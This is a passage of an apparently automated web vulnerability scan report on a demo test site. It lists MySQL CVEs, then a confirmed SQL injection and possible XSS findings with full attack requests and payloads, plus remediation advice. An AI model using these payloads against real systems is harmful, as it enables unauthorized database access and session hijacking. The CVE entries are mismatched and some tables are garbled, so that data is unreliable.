via multiple protocols to compromise MySQL Client. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Client accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of MySQL Client. CVSS 3.1 Base Score 4.2 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2010

Exploits
- MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2002

Exploits
- MySQL Out-of-bounds Write Vulnerability

In SQLite before 3.32.3, select.c mishandles query-flattener optimization, leading to a multiSelectOrderBy heap overflow because of misuse of transitive properties for constant propagation.

Affected Versions
8.0 to 8.0.22

External References
- CVE-2020-15358

Exploits
- MySQL NULL Pointer Dereference Vulnerability

The X.509 GeneralName type is a generic type for representing different types of names. One of those name types is known as EDIPartyName. OpenSSL provides a function GENERAL_NAME_cmp which compares different instances of a GENERAL_NAME to see if they are equal or not. This function behaves incorrectly when both GENERAL_NAMEs contain an EDIPARTYNAME. A NULL pointer dereference and a crash may occur leading to a possible denial of service attack. OpenSSL itself uses the GENERAL_NAME_cmp function for two purposes: 1) Comparing CRL distribution point names between an available CRL and a CRL distribution point embedded in an X509 certificate 2) When verifying that a timestamp response token signer matches the timestamp authority name (exposed via the API functions TS_RESP_verify_response and TS_RESP_verify_token) If an attacker can control both items being compared then that attacker could trigger a crash. For example if the attacker can trick a client or server into checking a malicious certificate against a malicious CRL then this may occur. Note that some applications automatically download CRLs based on a URL embedded in a certificate. This checking happens prior to the signatures on the certificate and CRL being verified. OpenSSL's s_server, s_client and verify tools have support for the "-crl_download" option which implements automatic CRL downloading and this attack has been demonstrated to work against those tools. Note that an unrelated bug means that affected versions of OpenSSL cannot parse or construct correct encodings of EDIPARTYNAME. However it is possible to
construct a malformed EDIPARTYNAME that OpenSSL's parser will accept and hence trigger this attack. All OpenSSL 1.1.1 and 1.0.2 versions are affected by this issue. Other OpenSSL releases are out of support and have not been checked. Fixed in OpenSSL 1.1.1i (Affected 1.1.1-1.1.1h). Fixed in OpenSSL 1.0.2x (Affected 1.0.2-1.0.2w).

**Affected Versions**
8.0 to 8.0.22

**External References**
- [CVE-2020-1971](CVE-2020-1971)

**Exploits**

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.23 and prior. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Server executes to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of MySQL Server. CVSS 3.1 Base Score 1.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:L).

**Affected Versions**
8.0.0 to 8.0.23

**External References**
- [CVE-2021-2232](CVE-2021-2232)

**Exploits**

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Information Schema). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized read access to a subset of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N).

**Affected Versions**
8.0.0 to 8.0.23

**External References**
- [CVE-2021-2301](CVE-2021-2301)

**Exploits**

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Information Schema). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized read access to a subset of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N).

**Affected Versions**
8.0.0 to 8.0.23

**External References**
CVE-2021-2308

Exploits

Vulnerabilities


CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>pass</td>
<td>-1' OR 1=1 OR 'ns'='ns</td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
</tbody>
</table>

Identified Version

- 8.0.22

Latest Version

- 8.0.25

Vulnerability Database

- Result is based on 06/04/2021 15:00:00 vulnerability database content.

Request

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

pass=-1%27+OR+1%3d1+OR+%27ns%27=%27ns&uname=Smith
**Remedy**

Please upgrade your installation of MySQL to the latest stable version.

**Remedy References**

- MySQL Downloads

**CLASSIFICATION**

DISA STIG 6.6.2
9. [Possible] Source Code Disclosure (PHP)

Acunetix 360 identified a possible source code disclosure (PHP).

An attacker can obtain server-side source code of the web application, which can contain sensitive data - such as database connection strings, usernames and passwords - along with the technical and business logic of the application.

**Impact**

Depending on the source code, database connection strings, username, and passwords, the internal workings and business logic of application might be revealed. With such information, an attacker can mount the following types of attacks:

- Access the database or other data resources. Depending on the privileges of the account obtained from the source code, it may be possible to read, update or delete arbitrary data from the database.
- Gain access to password protected administrative mechanisms such as dashboards, management consoles and admin panels, hence gaining full control of the application.
- Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.

**Vulnerabilities**


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>file</td>
<td><a href="hTTp://r87.com/n">hTTp://r87.com/n</a></td>
</tr>
</tbody>
</table>

```php
```

**Certainty**
Actions to Take

1. Confirm exactly what aspects of the source code are actually disclosed; due to the limitations of this type of vulnerability, it might not be possible to confirm this in all instances. Confirm this is not an intended functionality.

2. If it is a file required by the application, change its permissions to prevent public users from accessing it. If it is not, then remove it from the web server.

3. Ensure that the server has all the current security patches applied.
4. Remove all temporary and backup files from the web server.

**Required Skills for Successful Exploitation**

This is dependent on the information obtained from the source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However, a highly skilled attacker could leverage this form of vulnerability to obtain account information from databases or administrative panels, ultimately leading to the control of the application or even the host the application resides on.

**External References**

- Source Code Disclosure over HTTP - SecurEyes

---

**CLASSIFICATION**

DISA STIG

<table>
<thead>
<tr>
<th>CVSS 3.0 SCORE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
</tr>
<tr>
<td>Temporal</td>
</tr>
<tr>
<td>Environmental</td>
</tr>
</tbody>
</table>

**CVSS Vector String**

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

**CVSS 3.1 SCORE**

<table>
<thead>
<tr>
<th>CVSS Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</td>
</tr>
</tbody>
</table>
10. [Possible] Cross-site Scripting

Acunetix 360 detected Possible Cross-site Scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user’s credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users’ sessions, an attacker might attack an administrator to gain full control over the application.

Although Acunetix 360 believes there is a cross-site scripting in here, it could not confirm it. We strongly recommend investigating the issue manually to ensure it is cross-site scripting and needs to be addressed.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
- Hijacking user’s active session.
- Changing the look of the page within the victim’s browser.
- Mounting a successful phishing attack.
- Intercepting data and performing man-in-the-middle attacks.

Vulnerabilities

10.1. http://testphp.vulnweb.com/showimage.php?file='%22-->%3E%3C/style%3E%3C/script%3E%3C/script%3E%3Cscript%3Enetsparker(0x104F1C)%3C/script%3E

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>file</td>
<td>&quot;&quot;--&gt;%3C/style%3E%3C/script%3E%3C/script%3E%3Cscript%3Enetsparker(0x104F1C)%3C/script%3E</td>
</tr>
</tbody>
</table>

Notes

Due to the Content-type header of the response, exploitation of this vulnerability might not be possible because of the browser used or because of the presence of certain web tools. We recommend that you fix this even if it is not an exploitable XSS vulnerability because it can allow an attacker to introduce other attacks to exploit it. But, these issues are not confirmed; you will need to manually confirm them yourself. In general, lack of filtering in the response can cause Cross-site Scripting vulnerabilities in browsers with built-in mime sniffing (such as Internet Explorer).

Proof URL

http://testphp.vulnweb.com/showimage.php?file='%22-->%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x104F1C)%3C/script%3E%3C/script%3E

Certainty
**Request**

GET /showimage.php?file='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x104F1C)%3C/scRipt%3E HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

**Response**

Response Time (ms): 179.649  Total Bytes Received: 206  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: image/jpeg
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:22:38 GMT

Warning: fopen("'"--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x104F1C)%3C/scRipt%3E": failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7

Warning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 13

**History**

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan. The State was set to ! Present</td>
<td>System</td>
<td>6/9/2021 1:22:38 PM</td>
</tr>
</tbody>
</table>

10.2. http://testphp.vulnweb.com/showimage.php?file='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x105E72)%3C/scRipt%3E&size=160
<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>size</td>
<td>160</td>
</tr>
<tr>
<td>GET</td>
<td>file</td>
<td>&quot;&quot;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x105E72)&lt;/script&gt;</td>
</tr>
</tbody>
</table>

**Notes**

- Due to the Content-type header of the response, exploitation of this vulnerability might not be possible because of the browser used or because of the presence of certain web tools. We recommend that you fix this even if it is not an exploitable XSS vulnerability because it can allow an attacker to introduce other attacks to exploit it. But, these issues are not confirmed; you will need to manually confirm them yourself. In general, lack of filtering in the response can cause Cross-site Scripting vulnerabilities in browsers with built-in mime sniffing (such as Internet Explorer).

**Proof URL**

```
http://testphp.vulnweb.com/showimage.php?file='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x105E72)%3C/script%3E&size=160
```

**Certainty**

![Certainty](#)

**Request**

```
GET /showimage.php?file='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x105E72)%3C/script%3E&size=160 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
X-Scanner: Acunetix 360
```
Remedy
This issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured whitelist libraries available for many different environments. Good examples of these include OWASP Reform and Microsoft Anti-Cross-site Scripting libraries.

Additionally, you should implement a strong Content Security Policy (CSP) as a defense-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications.

CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross-site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one.

External References
- OWASP - Cross-site Scripting
- Cross-site Scripting Web Application Vulnerability
Remedy References

- [Content Security Policy (CSP) Explained](#)
- [Negative Impact of Incorrect CSP Implementations](#)
- [ASP.NET] - Microsoft Anti-XSS Library
- [OWASP XSS Prevention Cheat Sheet](#)

<table>
<thead>
<tr>
<th>DISA STIG</th>
<th>3.10.5</th>
</tr>
</thead>
</table>

**CVSS 3.0 SCORE**

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>7.4 (High)</td>
</tr>
<tr>
<td>Temporal</td>
<td>7.4 (High)</td>
</tr>
<tr>
<td>Environmental</td>
<td>7.4 (High)</td>
</tr>
</tbody>
</table>

**CVSS Vector String**

```
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
```

**CVSS 3.1 SCORE**

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>7.4 (High)</td>
</tr>
<tr>
<td>Temporal</td>
<td>7.4 (High)</td>
</tr>
<tr>
<td>Environmental</td>
<td>7.4 (High)</td>
</tr>
</tbody>
</table>

**CVSS Vector String**

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
```
11. SSL/TLS Not Implemented

Acunetix 360 detected that SSL/TLS is not implemented.

**Impact**

An attacker who is able to intercept your - or your users’ - network traffic can read and modify any messages that are exchanged with your server.

That means that an attacker can see passwords in clear text, modify the appearance of your website, redirect the user to other web pages or steal session information.

Therefore no message you send to the server remains confidential.

**Vulnerabilities**


**Certainty**

**Request**

[SSL Connection]

**Response**

Response Time (ms) : 1   Total Bytes Received : 16   Body Length : 0   Is Compressed : No

[SSL Connection]

**History**

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scanning.</td>
<td>System</td>
<td>6/9/2021 1:21:46 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scanning.</td>
<td>System</td>
<td>6/9/2021 1:15:55 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scanning.</td>
<td>System</td>
<td>5/6/2021 8:07:20 AM</td>
</tr>
</tbody>
</table>
Remedy

We suggest that you implement SSL/TLS properly, for example by using the Certbot tool provided by the Let's Encrypt certificate authority. It can automatically configure most modern web servers, e.g. Apache and Nginx to use SSL/TLS. Both the tool and the certificates are free and are usually installed within minutes.

### CVSS 3.0 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>6.8 (Medium)</td>
</tr>
<tr>
<td>Temporal</td>
<td>6.1 (Medium)</td>
</tr>
<tr>
<td>Environmental</td>
<td>6.1 (Medium)</td>
</tr>
</tbody>
</table>

### CVSS Vector String


### CVSS 3.1 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>6.8 (Medium)</td>
</tr>
<tr>
<td>Temporal</td>
<td>6.1 (Medium)</td>
</tr>
<tr>
<td>Environmental</td>
<td>6.1 (Medium)</td>
</tr>
</tbody>
</table>

### CVSS Vector String

12. [Possible] Internal IP Address Disclosure

Acunetix 360 identified a Possible Internal IP Address Disclosure in the page.

It was not determined if the IP address was that of the system itself or that of an internal network.

Impact

There is no direct impact; however, this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>URI-BASED</td>
<td>phpinfo.php</td>
</tr>
</tbody>
</table>

Extracted IP Address(es)

- 192.168.0.5
- 192.168.0.26

Extracted IP Addresses

- 192.168.0.5
- 192.168.0.26

Certainty

Request

GET /secured/phpinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
Response

Response Time (ms): 180.1397  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

Remedy

First, ensure this is not a false positive. Due to the nature of the issue, Acunetix 360 could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is, consider removing it.

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:25:14 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to ! Present</td>
<td>System</td>
<td>5/6/2021 8:22:58 AM</td>
</tr>
</tbody>
</table>

Remedy

First, ensure this is not a false positive. Due to the nature of the issue, Acunetix 360 could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is, consider removing it.
Acunetix 360 identified a cookie not marked as HTTPOnly.

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

**Impact**

During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.

**Vulnerabilities**


**CONFIRMED**

**Identified Cookie(s)**

- mycookie

**Cookie Source**

- JavaScript

**Request**

GET /AJAX/ HTTP/1.1  
Host: testphp.vulnweb.com  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36  
X-Scanner: Acunetix 360
Response

Response Time (ms): 179.5131  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:19:36 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>ajax test</title>
<link href="styles.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
var httpreq = null;

    function SetContent(XML) {
        var items = XML.getElementsByTagName('items').item(0).getElementsByTagName('item');
        var inner = '<ul>
            for(i=0; i<items.length; i++){
                inner = inner + '<li><a href="javascript:getInfo(" + items[i].attributes.item(0).value + ", " + items[i].attributes.item(1).value + "")" + items[i].firstChild.nodeValue + '</a></li>
            }
        inner = inner + '</ul>
        cd = document.getElementById('contentDiv');
        cd.innerHTML = inner;
        id = document.getElementById('infoDiv');
        id.innerHTML = '';}

    function httpCompleted() {
        if (httpreq.readyState==4 && httpreq.status==200) {
            SetContent(httpreq.responseXML);
            httpreq = null;
        }
    }

    function SetInfo(XML) {
        var ii = XML.getElementsByTagName('iteminfo').item(0);
        var inner = ''; 
        inner = inner + '<p><strong>' + ii.getElementsByTagName('name').item(0).firstChild.nodeValue + '</strong></p>
        pict  = ii.getElementsByTagName('picture');

    }
</script>
</head>
<body>
</body>
</html>
Actions to Take

1. See the remedy for solution.
2. Consider marking all of the cookies used by the application as HTTPOnly. *(After these changes javascript code will not be able to read cookies.)*

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- Acunetix - Security Cookies - HTTPOnly Flag
- OWASP HTTPOnly Cookies
- MSDN - ASP.NET HTTPOnly Cookies
14. phpinfo() Output Detected

Acunetix 360 identified a phpinfo() output.

phpinfo() is a debug functionality that prints out detailed information on both the system and the PHP configuration.

Impact

An attacker can obtain information such as:

- Exact PHP version.
- Exact OS and its version.
- Details of the PHP configuration.
- Internal IP addresses.
- Server environment variables.
- Loaded PHP extensions and their configurations.

This information can help an attacker to gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>URI-BASED</td>
<td>phpinfo.php</td>
</tr>
</tbody>
</table>

Certainty

Request

GET /secured/phpinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
```html
<h1>Configuration</h1>
<h2>PHP Core</h2>
<table border="0" cellspacing="3" width="600">
  <tr class="h" th>Directive</th> th>Local Value</th> th>Master Value</th></tr>
  <tr><td class="e">allow_call_time_pass_ref</td> <td class="v">On</td> <td class="v">On</td></tr>
  <tr><td class="e">allow_url_fopen</td> <td class="v">On</td> <td class="v">On</td></tr>
  <tr><td class="e">s mod_vhost_alias mod_negotiation mod_dir mod_imgmap mod_actions mod_spellmod_userdir mod_alias mod_rewrite mod_php5</td> <td></td> <td></td></tr>
</table>
<br />
<table border="0" cellspacing="3" width="600">
  <tr class="h" th>Directive</th> th>Local Value</th> th>Master Value</th></tr>
  <tr><td class="e">iconv.input_encoding</td> <td class="v">ISO-8859-1</td> <td class="v">ISO-8859-1</td></tr>
  <tr><td class="e">iconv.internal_encoding</td> <td class="v">ISO-8859-1</td> <td class="v">ISO-8859-1</td></tr>
  <tr><td class="e">Active Links</td> <td class="v">0</td> <td class="v"></td></tr>
  <tr><td class="e">Library version</td> <td class="v">FreeTDS</td> <td class="v"></td></tr>
</table>
<br />
<table border="0" cellspacing="3" width="600">
  <tr class="h" th>Directive</th> th>Local Value</th> th>Master Value</th></tr>
  <tr><td class="e">mssql.allow_persistent</td> <td class="v">On</td> <td class="v">On</td></tr>
</table>
```
<tr><td class="e">mssql.batchsize</td><td class="v">0</td></tr>
<tr><td class="e">YSQL_INCLUDE</td><td class="v">no value</td></tr>
<tr><td class="e">MYSQL_LIBRARY</td><td class="v">no value</td></tr>
</table>

```
YQL_INCLUDE
```

<table>
<thead>
<tr>
<th>Directive</th>
<th>Master Value</th>
<th>Local Value</th>
<th>Active Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>mysql.allow_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysql.connect_timeout</td>
<td>0</td>
<td>60</td>
<td>0</td>
</tr>
<tr>
<td>session.bug_compat_42</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>session.auto_start</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>pgsql.allow_persistent</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>pgsql.auto_reset_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysqli.default_port</td>
<td>3306</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>mysqli.default_host</td>
<td>no value</td>
<td>no value</td>
<td>no value</td>
</tr>
<tr>
<td>mysql.allow_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysql.connect_timeout</td>
<td>0</td>
<td>60</td>
<td>0</td>
</tr>
<tr>
<td>session.bug_compat_42</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>session.auto_start</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>pgsql.allow_persistent</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>pgsql.auto_reset_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysqli.default_port</td>
<td>3306</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>mysqli.default_host</td>
<td>no value</td>
<td>no value</td>
<td>no value</td>
</tr>
<tr>
<td>mysql.allow_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysql.connect_timeout</td>
<td>0</td>
<td>60</td>
<td>0</td>
</tr>
<tr>
<td>session.bug_compat_42</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>session.auto_start</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>pgsql.allow_persistent</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>pgsql.auto_reset_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysqli.default_port</td>
<td>3306</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>mysqli.default_host</td>
<td>no value</td>
<td>no value</td>
<td>no value</td>
</tr>
<tr>
<td>mysql.allow_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysql.connect_timeout</td>
<td>0</td>
<td>60</td>
<td>0</td>
</tr>
<tr>
<td>session.bug_compat_42</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>session.auto_start</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>pgsql.allow_persistent</td>
<td>On</td>
<td>Off</td>
<td></td>
</tr>
<tr>
<td>pgsql.auto_reset_persistent</td>
<td>Off</td>
<td>On</td>
<td></td>
</tr>
<tr>
<td>mysqli.default_port</td>
<td>3306</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>mysqli.default_host</td>
<td>no value</td>
<td>no value</td>
<td>no value</td>
</tr>
</tbody>
</table>

Registered serializer handlers

<table>
<thead>
<tr>
<th>PHP Binary</th>
<th>File User</th>
</tr>
</thead>
<tbody>
<tr>
<td>php php_binary</td>
<td>0</td>
</tr>
</tbody>
</table>

```
YQL_SOCKET
```

SQLite Library

<table>
<thead>
<tr>
<th>SQLite Library</th>
<th>SQLite Encoding</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.8.17</td>
<td>0iso8859</td>
</tr>
</tbody>
</table>
Actions to Take

1. Remove pages that call phpinfo() from the web server.
2. You can disable phpinfo() by using global php configurations.

External References

- phpinfo() Function
- PHP Configuration Cheat Sheet
Acunetix 360 identified a version disclosure (PHP) in the target web server’s HTTP response.

This information can help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

**Impact**

An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.

**Vulnerabilities**


**Extracted Version**

- 5.6.40

**Certainty**

<table>
<thead>
<tr>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET /login.php HTTP/1.1</td>
</tr>
<tr>
<td>Host: testphp.vulnweb.com</td>
</tr>
<tr>
<td>Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, <em>/</em>;q=0.8</td>
</tr>
<tr>
<td>Accept-Language: en-us, en; q=0.5</td>
</tr>
<tr>
<td>Cache-Control: no-cache</td>
</tr>
<tr>
<td>User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.8 Safari/537.36</td>
</tr>
<tr>
<td>X-Scanner: Acunetix 360</td>
</tr>
</tbody>
</table>
Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.

